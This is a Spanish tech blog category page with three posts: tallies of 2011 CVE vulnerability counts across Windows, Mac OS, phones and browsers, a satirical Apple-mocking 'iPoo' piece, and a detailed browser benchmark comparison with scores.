Archivo de la categoría ‘MAC OS’

Vulnerabilidades en 2011: Windows 7, MAC OS Snow Leopard/Lion, SmartPhones y Navegadores

Ha terminado el año, y por curiosidad me he dado una vuelta por los boletines de vulnerabilidades CVE de este año pasado para ver como se habían comportado las principales empresas de Software en cuanto a fallos de seguridad se refiere en sus productos estrella. Para quien no lo sepa, CVE es digamos un Identificador que se le asigna a cada vulnerabilidad descubierta en cualquier software para que esta quede totalmente identificada y catalogada. No todas las vulnerabilidades son etiquetadas con CVE, pero podemos afirmar que más del 95% de todas las vulnerabilidades conocidas o documentadas lo están. Es por ello que es una forma muy eficaz de poder contabilizar de forma bastante rigurosa los fallos de seguridad de software de un producto.

Todos los datos están extraídos por tanto tanto desde del Instituto Nacional de Estándares de Tecnología (NIST) que son los que se encargan de CVE, como Secunia, posiblemente la empresa más importante de índole mundial en el seguimiento de vulnerabilidades.

En cuanto a sistemas operativos de escritorio se refiere he tomado por un lado Windows 7 (que ha estado presente con nosotros los 365 días del año pasado) y por el otro lado MAC OS X. En el caso de MAC OS X, dado que Lion apareció a mitad de año, he contabilizado en la gráfica principal todas las vulnerabilidades registradas en boletines CVE hasta la fecha para Snow Leopard, y a partir de esa fechas las vulnerabilidades de Lion hasta final de año.

En cuanto a SmartPhones se refiere, tendremos un poco todos los implicados: Android, iOS, BlackBerry OS, Windows Mobile (me parecía totalmente despreciable el porcentaje de usuarios actualmente con otros OS).

Por último los Navegadores como siempre: IE8/9, Firefox 3.6-9.x, Chrome 8-16, Safari 5, Opera 11. Evidentemente algunos navegadores participan con múltiples versiones porque en todo el 2011 han cambiado varias veces.

 

 

  

 

Sobra decir que cuantas más vulnerabilidades es peor. De nuevo se desmitifica el mito que dice que MAC OS es más seguro que Windows. Incluso teniendo en cuenta la gran desproporción de usuarios que existe entre un OS y el otro (existen infinitamente más usuarios en Windows 7 que en Snow Leopard o Lion), MAC OS en 2011 ha tenido una tasa de fallos de seguridad que duplica la de Windows!! Pensar que cuando se habla de CVE no importa si los fallos de seguridad han sido parcheados o no, simplemente que existe una vulnerabilidad que ha podido (o no) ser corregida por su fabricante.

También he optado en esta ocasión por mostrar una gráfica que representa por versión de OS esa tasa de fallos de seguridad. Los resultados son más o menos igual de interesantes, Lion llegó al mercado a finales de Junio y se empezará a distribuir masivamente sobre Julio-Agosto. En teoría habría sido muy lógico pensar que al ser una revisión más actual habría sido mucho más sólido que Snow Leopard, en cambio ha sufrido prácticamente el mismo porcentaje de vulnerabilidades (teniendo en cuenta que entró algo despues de medio año de forma masiva). ¿Quien continúa afirmando que Apple es sinónimo de seguridad?

Por supuesto no es tan solo importante el número de vulnerabilidades encontradas, sino la rapidez con la que los fabricantes las parchean. En el caso de Microsoft, los ciclos son regulares, al menos una publicación mensual si se han encontrado fallos de seguridad, y se publican actualizaciones inmediatas de existir un fallo grave. A lo largo de todo 2011 Microsoft habría parcheado el 100% de todas las vulnerabilidades CVE en unos 15-17 entregeas repartidas por todo el año.

Por el contrario en el caso de MAC OS, Apple no tiene ciclos concretos de actualizaciones. En su caso, las 208 vulnerabilidades fueron corregidas tan solo en 8 tandas repartidas a lo largo del año, en las que ahora mismo no se han parcheado el 100% de ellas. Este es incluso un peligro aun mayor al de tener un gran número de ellas, el no tener políticas de publicaciones periódicas cada poco tiempo. Apple lo que hace es que cada mucho tiempo actualiza el sistema y le da una versión diferente: 10.7.0 a 10.7.1 por ejemplo, cuando el 99% del código cambiado es por fallos de seguridad.

 

 

Actualmente aunque no tenga a mano los datos, el mercado de los Smartphones se encuentra dominado totalmente por Android, que apararía ahora mismo más del 50% de este. Más alejado se encontraría iOS con un 30 aproximadamente y el resto se lo repartirían BlackBerry, Windows Mobile, Symbian… En esta ocasión no puedo sino quedarme con la boca abierta de lo que me topé cuando terminé de extraer los datos… y no se trata de ninguna errata. Windows Phone lograba superar el año sin existir aparentemente ninguna vulnerabilidad CVE registrada, lo cual hace que sea el ganador de la noche!! BlackBerry con muchos más usuarios que Windows Phone nos decía que en todo el año tan solo 4 CVE habían sido asignadas. Android en tercer lugar y copando la gran mayoría de usuarios con tan solo 8 vulnerabilidades. Aquí uso “tan solo” no porque 8 me parezcan pocas, dado que tan solo una vulnerabilidad puede ser suficiente para que se apoderen totalmente de tu terminal!! Digo “tan solo” porque iOS 4/5 ha alcanzado en el año 2011 la friolera de 164 vulnerabilidades. Aquí no hay trampas ni trucos, cualquiera puede ir a revisar los datos del NIST o de Secunia, y ojo!! Tan solo están contadas las de iOS 4/5 referente a los iPhone/iPod Touch, no se incluyen siquiera las que tan solo afectan a iPad/iPad 2

De nuevo, es importante la actuación inmediata por parte de los fabricantes ante cualquier vulnerabilidad. En el caso de BlackBerry se sabe que siempre ha reaccionado de forma tardía. En el caso de Android se sabe que Google siempre ha actuado de forma inmediata y en el caso de iOS Apple siempre ha esperado hasta el final o hasta que ha trascendido a los medios para lanzar actualizaciones.

 

 

 

Por último y no menos importante tenemos los navegadores, y no exentos de sorpresas. De nuevo desmitificando mitos, Internet Explorer se encontraría como el menos vulnerable en el transcurso del año con tan solo 33 fallos descubiertos. Opera le seguiría de cerca con 43, una cifra nada desdeñable, aunque teniendo en cuenta el poco mercado que copa este es relativamente preocupante. En tercer lugar casi doblando a Internet Explorer encontraríamos a Firefox con 66 fallos de seguridad, que ya son bastantes!! Si bien es cierto que hay que tener en cuenta que cualquier software de código abierto poseerá o debería de poseer significativamente un número de CVE superior, puesto que es más fácil detectar fallos de seguridad por parte de expertos en la materia por poder mirar directamente al código fuente de este.

Que safari posea un índice que casi triplica el de Firefox no es es de extrañar a muchos dado que Apple no es que brille jamás por su seguridad y era previsible que íbamos a ver un resultado similar, pero que Chrome haya alcanzado la friolera de 318 CVE es cuanto menos de sorpresa. Sí, evidentemente Chrome es también junto con Firefox los dos navegadores de código abierto que disponemos, y sí… Google posee infinidad de empleados trabajando a tiempo completo en él y por ello es normal descubrir también más vulnerabilidades… ¿pero tantas?

Por suerte para los usuarios de Chrome, pueden estar más o menos tranquilos porque los ciclos de actualizaciones de este son muy cortas, y tanto Google con Chrome como Mozilla con Firefox actúan de manera casi inmediata en el momento en el que se descubre un fallo de seguridad en sus navegadores. Microsoft suene tener un tiempo de reacción inferior a estos últimos, y dependiendo del fallo de seguridad puede posponerse hasta el siguiente ciclo estandar de actualizaciones (el segundo martes de cada mes). Opera actúa un poco de forma arbitraria y bien puede subsanarlo de forma inmediata que tardar bastante tiempo en reaccionar. Por último Apple ya hemos dicho como actúa ante los fallos de seguridad, primero niega, después le echa las culpas a Adobe por Flash y al cabo de un año con suerte saca una actualización sin darle ningún bombo para corregir 9 meses de fallos de seguridad acumulados.

 

 

La valoración final es clara. Increíblemente Microsoft se lleva la medalla de oro en tanto la seguridad de sus productos, en todos ellos!! Es sorprendente como el peor visto por el pueblo por ello es el mejor en ello, y como el más alabado por su seguridad es en cambio el peor. Google ha hecho un gran trabajo en Android, pero Chrome necesita aun pulir muchísimo su código, es incomprensible que haya podido llegar a tal cantidad de CVE, aun cuando todas estén totalmente parcheadas!! Es signo de que existen otras tantas que no lo están. Por parte de Apple el tirón de orejas de costumbre, tanto en iOS como en MAC OS una cantidad descomunal de fallos de seguridad en comparación con la competencia y lo peor: Actuación muy muy lenta. Para RIM poco hay que decir, teniendo en cuenta la afluencia de usuarios que aun controlan no ha salido mal parada del todo y Opera como siempre es ese pequeño incomprendido, siempre estando entre medio de las tablas pero jamás sin sobresalir ni en lo bueno ni en lo malo.

iPoo: Un retrete que cuesta el doble, sí, pero con estilo

 

Entre muchos de los logros que sin duda alguna nos dejó Steve Jobs en su vida, el “seguidismo” incondicional fue sin duda alguna algo que marcó totalmente la filosofía de los productos de la manzana. Si bien es cierto que el tecnicismo “Fanboy” puede aplicarse a cualquier persona que posee un fanatismo descontrolado hacia algún producto o marca en particular, este ha sido conocido y usado sobre todo en el mundo Apple precisamente por este seguidismo que siempre logró el señor Jobs. El problema es que cuando creas una corriente hacia un lado, creas al mismo tiempo una corriente hacia el otro. Cuanto más fanboys logres captar, mayor será la oposición que encontrarás por el otro lado.

Esta mañana perdido entre noticias tecnológicas me encontré de pronto en la web de Milos Paripovic en la que jocosamente nos mostraba su “iPoo”. Como era de esperar, no han sido pocos los sites pro Apple los que han corrido a quejarse o a mostrar su descontento ante este “iPoo”. De todo el “iPoo” sin embargo, lo que más me ha gustado es la “presentación” que hace Milos sobre ello, escenificando perfectamente el sentimiento (el mío incluido) generalizado que produce Apple para los que están fuera de esa “secta blanca” que en su día supo escenificar el Vídeo de presentación de la Motorola Xoom.

El texto completo lo tenéis en la web de Milos, pero voy a traducir alguna de sus frases de más calado que muestran totalmente la realidad actual de Apple: Pagar el doble por lo mismo, menor compatibilidad, fanatismo, políticas de empresas abusivas, marketing desproporcionado…  Por supuesto, Milos, para evitar cualquier tipo de argumentaciones legales explica al inicio de su web que en todo momento se trata de hacer uso de la sátira y su libertad de expresión (sino, faltaría tiempo que Apple intentase demandarlos por daños a su imagen):

 

“Some people may think it looks like Apple logo, but I disagree. If you see Apple logo everywhere maybe you should see a psychiatrist and take a look at a few Rorschach inkblot cards”

“Algunas personas podrían pensar que se parece al logo de Apple, pero yo disiento. Si ves el logo de Apple en algún lado deberías de ir a ver a un Psiquiatra y realizar algunos tests de Rorschach”

(Nota: Los test de Rorschach todos los hemos visto en películas, en las que el psicólogo muestra algunas cartulinas con dibujos abstractos para conocer que es lo que ven los pacientes en ellos)

 

“Unlike some Apple products, this toilet fully supports Flush”

“Al contrario que algunos productos de Apple, este inodoro es totalmente compatible con la evacuación”

(Nota:En realidad es un juego de palabras en inglés, “Flush” <-> “Flash”, alegando que iOS no es compatible con la tecnología Flash, que como recordaremos según Steve Jobs debería de a ver muerto hace 1 año atrás… en cambio se sigue usando tanto o más que antes)

 

“This toilet has exactly the same function as any other toilet and costs only twice as much for the same performance; but you will agree it is all about style and taste, and you will look a lot cooler in your friends’ eyes when you say you use the iPoo Toilet instead of…”

“Este inodoro tiene exactamente las mismas funciones que cualquier otro y cuesta tan solo el doble, obteniendo el mismo rendimiento; pero estará de acuerdo si le digo que es debido al diseño, y que así parecerá usted más “Cool” a los ojos de sus amigos cuando diga que ha usado un inodoro iPoo en vez de usar…”

 

“Many of our power users were intimidated with standard 2 buttons, and even have had bladder shyness. So our top UX designers came up with this: a button”

“La mayoría de nuestros usuarios avanzados estaban intimidados por el estándar de inodoros de dos botones provocando incluso incontinencias, así que nuestros mejores ingenieros han venido con esto: Un solo botón!!”

(Nota: Una sátira cuanto menos graciosa al hincapié que siempre intenta hacernos creer Apple de que el usuario final es estúpido, y que tienes que ser un experto para usar los productos de la competencia)

 

“We have invented the toilet, and have patented hole in the toilet, water in a hole and seating! Other manufacturers shamelessly stole our ideas!”

“Hemos reinventado el inodoro, hemos patentado el agujero de este, el agua en el agujero y el asiento!! Otros fabricantes sin vergüenzas robaron nuestras ideas!”

(Nota: De nuevo un guiño sobre el mata mata de estar diciendo todo el tiempo que ellos lo han inventado todo porque simplemente el sistema de patentes Americano es cuanto menos absurdo. Guiño a la guerra de patentes que mantiene en ciernes ahora mismo Apple contra todos los demás simplemente porque es incapaz de sacar ellos mismos un buen producto. No nos engañemos, las patentes por las que denuncian a HTC, Samsung y otros no son patentes tecnologías de primer nivel, son patentes tan absurdas como la posición en la que se encuentra un conector e historias similares la gran mayoría, que no todas. El propio congreso de EEUU se está replanteando por fin si el modelo actual de patentes es o no convenientes)

 

“Please help promoting iPoo Toilet with poster above and a link to this website, since we can not yet afford financing appearance in movies featuring famous actors using our toilet…”

“Por favor, promueve nuestro inodoro iPoo enlazando nuestra web, dado que nosotros no podemos afrontar la financiación de este para su aparición en películas en las que aparezcan actores famosos usando nuestro inodoro..”

(Nota: De nuevo para mofarse del exagerado márketing que hace Apple para colocar todos sus productos en series, películas, spots… no es que en esas series o películas sus personajes queden mejor o peor por estar cerca de un producto de Apple, es que Apple paga millonadas para que sus manzanas aparezcan en los primeros planos de estos. En algunas ocasiones esta publicidad es exagerada a unos niveles hasta molestos, en los que no pasan 3 escenas sin que se vea por un lado o por otro algún producto de ellos).

Hay que reconocer que cuanto menos este Milo es original ;).

 

Feliz Año nuevo a todos!!

Comparativa Navegadores 2011/2: IE9, Firefox 9.0, Chrome 15.0, Safari 5.1, Opera 12

Índice

  • Versiones de los navegadores
  • Que comparar
  • Benchmarks (Nuevo: RAM, CPU, GPU, Consumo Energético…)
  • Conclusiones

 

Versiones de los navegadores

Dada la nueva tendencia al ciclo rápido de versiones al cual se están agarrando los principales navegadores, no tiene lógica hacer una comparativa cada vez que sale un navegador nuevo, puesto que además entre versiones contiguas no existirían grandes diferencias. Antes veíamos este comportamiento tan solo en Chrome, cuya versión en desarrollo es ya la 15!! los chicos de Mozilla igualmente, con los ciclos cortos de versiones han hecho que la versión en desarrollo actual sea la 9. Es decir, si recordamos la comparativa de hace 6 meses de este mismo redactor, vemos que la versión recién lanzada era Firefox 4.0 y Chrome 10. Por el contrario Micorosft con Internet Explorer 9, Opera y Safari han mantenido sus ciclos algo más largos.

En esta ocasión no se han tomado los navegadores oficiales, sino sus versiones en desarrollo más actuales. ¿Por qué? Bueno, es evidente que los navegadores que más van a dar que hablar presumiblemente (quitando sorpresas) Firefox y Chrome, y precisamente estos dos son los que poseen menos diferencias entre sus versiones oficiales y sus versiones en desarrollo, puesto que poseen los ciclos más cortos. Esto hace que se haya tomado la versión build hasta el día de hoy (1 de septiembre de 2011) de Firefox 9.0a1 (la build de dicho día) y de Chrome 15.0.865.0. En el caso de Opera, la versión en desarrollo tomada corresponde a la lanzada hace unos 10 días, Opera 12 (build 1047), que es la más actual

En el caso de Internet Explorer no es posible acceder a una versión más actual por desgracia, quitando las actualizaciones que ha ido añadiendo microsoft a IE9 en estos meses, desde actualizaciones de seguridad como de rendimiento. Es cierto que existe una Preview 2 de IE10, el problema que tenemos con la versión Preview de IE es que no se puede decir que sea realmente un navegador, sino prácticamente tan solo el chrome (no confundir aquí chrome con e navegador Chrome) de este. Es como si a Chrome o Firefox le suprimimos casi toda la interfaz, opciones, extras… y dejásemos tan solo una “ventana” a algunas web.

Por último, Safari posee ciclos intermedios. Así por ejemplo si en la comparativa anterior teníamos Safari 5.0.3 si recuerdo bien, en esta ocasión trataremos con Safari 5.1. Safari sí posee entre “” versiones de desarrollo, pero son más exactamente de Webkit y no tanto de Safari. De todos modos para la próxima ocasión intentaré usar la última Build de WebKit para Safari, aunque estas son un poco.. “sucias”.

Es por tanto que lo lógico es que encontrásemos mayores diferencias en Firefox, Chrome, Opera y Safari respecto a la comparativa pasada, ya que los resultados de IE9 a penas deberían de verse movidos.

Por tercera vez, la versión de Safari instalada está exenta de QuickTime por las razones ya explicadas en otras comparaciones. QT actúa de plugin para Safari para dotarlo de mayores prestaciones,  y por tanto este debe de ser suprimido. En la comparativa, se usan perfiles limpios, instalaciones limpias, sin complementos sin añadidos. De lo contrario podríamos instalar extensiones y complementos en Firefox o Chrome para obtener mejores resultados en los test de compatibilidades, y evidentemente no se trata de esto. Además, en esta ocasión se han añadido comparativas de consumo de RAM, CPU/GPU y energía, todos los cuales pueden verse muy afectados por complementos o extensiones de cualquier tipo. El único complemento que será instalado en todos los navegadores será Flash Player 11 b2 por cuestiones de necesidad.

 

Que Comparar

Esta no es la primera comparación de navegadores que se hace evidentemente, pero si en su día hice la primera, después la segunda y ahora la tercera, es porque la mayoría de todas las comparativas que he visto se ciñen tan solo a aspectos concretos del navegador. Unos tan solo hacen comparativas según el resultado de un test sintético, otros tan solo en un subconjunto de ellos. Incluso cuando se pudiesen hacer test para cada una de las partes de un navegador, existen otras cuestiones a valorar, como la compatiblidad, estabilidad, consumo de recursos… y por supuesto los “extras” que hacen del navegador la cara más visible del usuario en Internet: Extensiones, temas, sincronización, aplicaciones…

Evidentemente este no es más que otra comparatiba más. Posiblemente pueda aparecer alguien y decir que no soy riguroso por el número de test empleados en cada apartado, o que podría haber puntuado mejor de otro modo, o que no he tenido en cuenta otros parámetros o que… y de ya les digo que tienen toda la razón del mundo. Por riguroso que uno quiera ser, es evidente que en este mundillo es muy complicado cubrir absolutamente TODOS los puntos.

En esta ocasión se ha añadido el consumo de RAM y los tiempos de inicio en frío, amen de algunos test más. Por supuesto aun quedan cuestiones interesante que se comentarán en la conclusión, pero que posiblemente podamos incluir en futuras entregas, como por ejemplo el porcentaje de tiempo que cada núcleo pasa en estado C3 o más profundo.

 

 

Benchmark

En esta ocasión se han ampliado los test ejecutados, y se han unificado algunas gráficas A algunas de ellas se le incluirán la carga promedia de la CPU y GPU con idea de poder comparar también la eficiencia de cada navegador, cuestión que repercutirá a fin de cuenta en el consumo energético, esencial para dispositivos portátiles.

El consumo de RAM en contrapartida será comparado con test específicos, forzando a los navegadores a abrir primero 10 pestañas, para pasar luego a duplicar cada una de ella para obtener 20 pestañas en total. Por supuesto todos los navegadores abrirán las mismas, y también se verificará la estabilidad del navegador ante tal carga. Evidentemente se tendrán en cuenta TODOS los procesos dependientes de navegador, en el caso de Chrome todos los procesos chrome, en caso de Firefox plugins-container además del proceso principal, en caso de Safari…  Para las 10 Web usadas (duplicadas para el test de 20 pestañas) se han usado webs típicas que podría tener cualquier usuario a día de hoy: Bandeja de entrada de Gmail, Google Plus, Facebook, YouTube con un video de 320×240 cargado entero, la portada de DevianArt, la web del diario “El PAIS”, la Web del Marca, la bandeja de entrada de Windows Live Hotmail, la Web del Market de Android y la Web de la NASA.

La comparativa de tiempos de inicio serán contados siempre en un arranque en frío del equipo y abriendo por defecto la web de google: http://www.google.es.

Los resultados obtenidos por Peacekeeper (el total), ha sido modificado para incluir en él el peso de la sección de “Gráficos Complejos”. Cuando apareció Peacekeeper, no todos los navegadores soportaban Canvas (función de HTML5), y por tanto se decidió no incluir esta sección para la puntuación final, así especifica el propio Peacekeeper cuando está ejecutando dicha sección del test. Dicho esto, dado que absolutamente todos los navegadores soportan perfectamente esta función, la puntuación total de Peacekeeper será la media aritmética de las 6 secciones de este test.

Cada prueba puntuará de 1 a 5 cada navegador en función del resultado obtenido (1 para el navegador peor, 5 para el mejor), con el fin de poder hacer un “orden” de dichos navegadores al finalizar en función del número de puntos acumulados. Las versiones de 64 bits (Firefox e Internet Explorer) no contarán a la hora de puntuar para el resultado final, y se usarán tan solo como referencia. En caso de existir un empate, ambos obtendrán la misma puntuación.

Y como siempre, absolutamente todos los resultados serán ejecutados siempre en el mismo equipo, con instalaciones limpias de todos ellos, con el equipo reiniciado y haciendo el promedio de 3 ejecuciones de cada uno de los test/pruebas.

 

Sistema:

  • OS: Windows 7 Ultimate x64 SP1
  • CPU: Intel Core i7 920
  • RAM: 12GB DDR3 Triple canal
  • Video: nVidia GTX460 (Driver 280.26)
  • Resolución: 1920 x 1080, el navegador siempre maximizado

Navegadores:

 

Test:

  • Recursos
    • Tiempo de Inicio
    • RAM (10 y 20 páginas)
    • CPU/GPU reproduciendo contenido Full HD

 

 

Tiempo de Inicio

Una de las primeras sorpresas (negativa) ha sido sin duda alguna Chrome y Safari, que quedan relegadas a la penúltima y última posición respectivamente. Habría que determinar si esto es debido a Superfetch, aunque viendo los números obtenidos más adelante en cuanto a consumo RAM y comparándolos respecto a Opera, los resultados son interesantes

 

 

Consumo de RAM

Durante mucho tiempo se ha criticado duramente a Mozilla por el gran consumo de RAM de Firefox, lo curioso es que tanto en la prueba de 10 pestañas como en la de 20 pestañas, vemos que Firefox obtiene la segunda posición, mientras que Chrome queda relegada a último lugar (si quitamos las versiones de 64 bits). También es cierto no obstante que tanto Chrome como Internet Explorer usan procesos múltiples para mejorar el rendimiento y estabilidad, y ello conlleva un mayor consumo de RAM también

  • En ambos test, Safari provoca que su proceso” webkit2webprocess.exe” provoque una carga de la CPU de  17%-19%
  • En ambos test, en Safari es necesario refrescar algunas pestañas hasta 3 veces para poder visualizar la web

 

Video 1080p

Una cuestión interesante es la reproducción de contenido en HD a través del navegador, un buen identificador del consumo energético del equipo. Cuanto menor uso de CPU/GPU tenga el navegador, menor consumo energético estará teniendo, importantísimo en dispositivos portátiles. Por ahí he visto comparativas usando por un lado videos en Flash y por otro lado vídeos usando HTML5… el problema de este sistema es que los navegadores usan codec diferentes para esto (H264, WebM), lo cual implicaría realizar las pruebas con vídeos codificados de forma distinta. Es decir, no son una medida válida para comprar el rendimiento. Tan solo se puede comparar cuando es lo mismo. En caso de un vídeo en Flash es más sencillo, puesto que el vídeo usado en la comparación es siempre el mismo, en este caso el vídeo oficial en YouTube de “We are the World” con motivo de Haiti, en 1080p.

 

 

SunSpider

Un clásico de los Benchmark para medir el rendimiento en JavaScript del navegador. No obstante, debido al gran salto cualitativo de los navegadores en este aspecto, SunSpider ha ido perdiendo “valor” a favor de otros test, y también por no escenificar la “vida real” que tendrá después un navegador. Por otro lado, los márgenes se han vuelto sumamente pequeños entre los diferentes navegadores, por poner un ejemplo IE posee el mejor tiempo con tan solo 209 ms, pero lo distancia de Firefox por 4 ms.

 

 

V8

 Google se percató que SunSpider (creado por Apple principalmente) dejaba de ser un test “vistoso” de cara a la competencia, a fin de cuenta las diferencia entre navegadores son como mucho de unas decenas de milisegundos. Así se creó V8, un test para medir a priori el rendimiento del motor JS de Chrome, que también se llama V8. El problema con V8 es que es muy dependiente de Google, es decir, es un test sintético creado fundamentalmente para Chrome, lo cual hace que Chrome reviente literalmente a sus competidores. No obstante, no deja de ser un test más, interesante también porque pone en evidencia tanto los mejores puntos de algunos navegadores como los peores.

 

Kraken

En respuesta a V8 de Google, Mozilla tomó el estilo y alguno de los test de SunSpider y creó un test sintético mucho más riguroso que SunSpider, y por supuesto mucho más “real” de cara a la navegación de los usuarios. Por supuesto es todo subjetivo, pero si es cierto que Kraken es otro de los test de obligado paso para poner a prueba los motores JS de los navegadores

 

JSNES

Con la llegada de HTML5 y los cada vez más potentes motores JS (o al menos según lo que indicaban los test sintéticos), se abría la puerta a la creación de infinidad de aplicaciones y juegos de todo tipo que hacían un uso extensivo de JS. Anteriormente esto habría sido de todos modos imposible, dado el pobre rendimiento que se tendría… pero a día de hoy esto ya tampoco es una excusa. Así lo demostró el emulador de SNES creado en JavaScript

  • Tanto Safari como Internet Explorer aunque obtienen aparentemente buenos resultados, SALTAN frames, lo que produce que el juego de saltos constantes aun cuando trabaja a 54-56 fps. Un antiguo truco para obtener un framerate superior al que pueden manejar en realidad

 

Biolab

Un excelente ejemplo de lo que es capaz de hacer JS en conjunción de HTML5 gracias a Canvas. No obstante, aunque sin duda alguna es un gran ejemplo, prácticamente todos los navegadores han llegado a la cima de este test, y por tanto el test deja de ser útil. Así pues, esta será la última vez que veamos Biolab en acción, el cual será sustituido posiblemente por una aplicación de representación del ADN que me ha gustado mucho.

 

  • Safari no puede cargar el juego, no es compatible por alguna razón

 

 

Asteroids

 Un test que se hizo relativamente famoso por ser un “Firefox Killer”. Pero esta misma característica lo hace interesante desde el punto de vista de los propios programadores y desarrolladores, que permiten intentar pulir aquellas partes de rendimiento donde más sufren sus navegadores. Aunque hace uso de la aceleración hardware, es mucho más dependiente del código JS que ejecuta.

 

Normal Mapped Photos

Un nuevo test para mostrar la eficiencia de JS y HTML5 del navegador. En este caso no es un juego, sino una aplicación, y pese a lo que aparenta, no es un test para comprobar la capacidad gráfica del navegador, sino de JS. Es muy interesante de cara a los resultados obtenidos, puesto que cambia la tendencia de que Chrome aparenta ser el más rapido en JS o IE en cuanto a gestión gráfica. Podríamos pensar que los resultados dependen en gran medida del soporte hardware para la aceleración gráfica, pero IE que es la estrella en ello queda muy por detrás de Firefox o Chrome, este último que posee un rendimiento muy pobre en la aceleración por hardware en comparación con Firefox o IE

 

Peacekeeper

Es un test sintético que mezcla varios elementos, parte JS, parte manejo de cadenas, parte gráficos, parte objetos DOM. En esencia es un test bastante interesante porque intenta dar una perspectiva general del rendimiento del navegador. En contrapartida, ha sido un test muy criticado por explotar con fines mediáticos la fortaleza y debilidades de los navegadores. Pero de nuevo, no deja de ser un buen indicador. Interesante sin duda alguna es la puntuación en este caso de Opera, que obtendría la primera posición. Podemos decir que prácticamente todos los navegadores tienen su “test” ideal.

 

Tanque de peces (2000 peces)

El test original de Microsoft usa un máximo de 1000 peces. Lo bueno de este tipo de test es que es fácilmente escalable, y dado que 1000 paces no son un indicativo muy bueno (algunos de los navegadores llegan fácilmente a los 60 fps), se hace que el test represente 2000 peces. Con 2000 peces, este test hace buen uso de las capacidades gráficas del navegador y de la aceleración por hardware de este, tanto para la composición como para la renderización. Con la incorporación del uso de la CPU/GPU podemos ver además la eficiencia

 

 

“Come-Cocos” (Browse Hunt)

Siendo teóricamente un test fuertemente gráfico, deja de manifiesto problemas de rendimiento de algunos navegadores que incluso poseen aceleración por hardware como pueda ser Firefox. Mientras que Internet Explorer x64 logra el tope de los 60 fps, el resto de navegadores se encuentran muy lejos de lograr tal azaña.

 

 

 

 “Letras” (SpeedReading)

Uno de mis test favoritos para medir el rendimiento puro y duro de la aceleración por hardware de contenido del navegador. Este test deja bien claro que navegador posee aceleración por hardware de contenido, quien no y quien la implementa mejor

 

  • La versión de 64 bits de Firefox no ha aparecido pro alguna extraña razón. Los resultados eran: 6 segundos, 2% CPU y 22% GPU

 

Psicodélico

Otro buen ejemplo de lo importante que puede resultar la aceleración por hardware en el navegador. Aunque este test en particular es de Microsoft, Mozilla tiene otro muy similar, y otros tantos existen por al web

 

 Webvizbench

Nuevo test introducido en esta edición. En este caso se trata de un benchmark dependiente sobre todo de la aceleración hardware de composición (no de contenido. De composición siempre influye menos), pero un fuerte componente JavaScript. Ninguno de los navegadores es capaz de mantener un framerate de 60 (recordemos que estamos siempre en 1080p). Este benchmark es interesante porque muestra como el navegador es capaz de aplicar diferentes efectos CSS, superposiciones rápidas de imágenes, transiciones…

 

 Pecera (1500 peces)

Benchmark parecido al tanque de peces, pero usa un modelo diferente a la hora de mostrar los peces en pantalla. Es más escalabre y hasta hace poco era otro test famoso por ser otro “Firefox Killer”, la paradoja es que ahora es al contrario. Este test hace uso extensivo tanto de la aceleración hardware de composición como de conteido.

 

 

“Campo de Pruebas” (Field Test)

 Es el único benchmark actualmente para WebGL, pero también es cierto que actualmente tan solo Chrome y Firefox son compatibles con esta tecnología, lo que hace un poco absurdo sobrecargar la comparativa con más test WebGL. En la medida que el soporte WebGL crezca (tanto Opera como Internet Explorer están trabajando en ello) será más interesante ver como luchan en otros test. Aun así es útil para comparar la mejora de rendimiento entre las versiones de los mismos navegadores, por ejemplo el resultado obtenido con Firefox 4 Vs Firefox 9 (ya que Chrome mantiene los 60 fps). Es importante también mirar la carga de la CPU y la GPU.

  • El test parece establecer un framerate máximo de 60 fps, pero por alguna extraña cuestión Firefox anula dicho límite. Se tomará en cuenta como 60 fps a fin de cuentas.

 

Test de compatibilidad HTML5 de Niels y WebGL de Khronos

Como ya se ha dicho otras veces, no solo de velocidad vive el hombre, y es necesario que un buen navegador cumpla con los estándares más actuales, incluso muchos de ellos que aun no serán oficiales hasta dentro de unos años, como es el caso de HTML5. En contrapartida, WebGL es una especificación ya oficial, y Khronos (la misma organización que gestiona/crea/encargada de OpenGL/WebGL/WebCL…) tiene su propio test de compatibilidad con WebGL.

El test de compatibilidad de Niels es bastante riguroso e interesante, y es usado en muchísimas comparativas para decidir si X navegador es más compatible que Y. Pero ojo, Niels tan solo mira por HTML5!! HTML5 no es el único estándar emergente, y por ello usaremos más adelante la suite de Microsoft para completar los test de compatibilidad

 

  •  El test de Niels se basa actualmente sobre 450 puntos máximos.
  • El test de Khronos completo son unos 7400 pruebas diferentes a pasar.

 

IE Center Testing

Este site de Microsoft nos muestra una tabla con los resultados que estos han obtenido supuestamente con los navegadores de la competencia. Hacen lo mismo que he hecho yo, solo que ellos tan solo comparan las versiones de los navegadores que les interesa. Por ejemplo, actualmente si accedemos al site veremos que es Firefox 6.0, Chrome 12, Safari 5.0.5 y Opera 11.11 los navegadores testeados, y los enfrenta todos ellos con IE10 preview. En cambio las versiones en desarrollo que estamos viendo son mucho más actuales, y de ahí la necesidad de volver a pasar todos los test de Microsoft (Y creerme, es un trabajo). Es paradójico, pero aquí se suprime IE 10 por las razones expuestas (no existe una beta o una versión Alpha que sea un navegador realmente)

 

 

Conclusiones

 Si valoramos cada navegador como se dijo al comienzo, los resultados serían por tanto los siguientes:

Resultados Firefox 9.0a x86 Chrome 15.0.865.0 IE 9 x86 Opera 12 (B1047) Safari 5.1
Inicio en Frío 4 2 5 3 1
Consumo de RAM 4 1 2 5 3
Reproducción Vídeo HD 4 2 5 3 1
SunSpider 4 3 5 2 1
V8 4 5 1 3 2
Kraken 4 5 1 3 2
JSNES 4 5 3 1 2
Biolab 5 5 3 4 2
Asteroids 2 4 5 1 3
Normal Mapped Photos 5 4 3 1 2
Peacekeeper 3 4 2 5 1
Taque de Peces 5 3 4 2 1
Come-Cocos 3 4 5 1 2
SpeedReading 5 3 4 2 1
Psicodélico 5 3 4 2 1
Webvizbench 4 3 5 2 1
Pecera 5 3 4 2 1
Campo de Pruebas 5 5 4 4 4
HTML5 y WebGL 4 5 1 3 2
IE Testing Center 5 4 3 1 2
Total: 84 73 69 50 35

 

 

  • Recursos

    Este era un apartado clave de esta comparativa. Cada día queremos más y más, pero no nos preguntamos el coste que esto posee. Esto lo hemos visto totalmente claro por ejemplo en el consumo de RAM, en el tiempo de inicio del navegador e incluso en muchos de los test en los que se incluía el consumo de CPU/GPU que tenían.

